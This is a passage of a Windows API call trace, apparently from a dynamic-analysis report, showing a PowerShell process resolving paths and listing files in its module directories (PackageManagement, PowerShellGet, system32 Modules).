(x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0130.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0130.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0130.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0130.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0130.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0130.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0130.942] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.942] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.942] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.942] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.942] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e134) returned 1 [0130.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e3f8 | out: lpFileInformation=0x572e3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e130) returned 1 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e158) returned 1 [0130.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2261388 | out: lpFileInformation=0x2261388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e154) returned 1 [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0130.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0130.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0130.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0130.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.945] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.945] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.945] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.945] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e134) returned 1 [0130.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e3f8 | out: lpFileInformation=0x572e3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e130) returned 1 [0130.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e158) returned 1 [0130.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2262a4c | out: lpFileInformation=0x2262a4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e154) returned 1 [0130.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0130.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0130.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0130.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0130.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0130.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0130.950] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0131.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0131.029] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0131.029] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0131.029] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0131.029] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.029] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 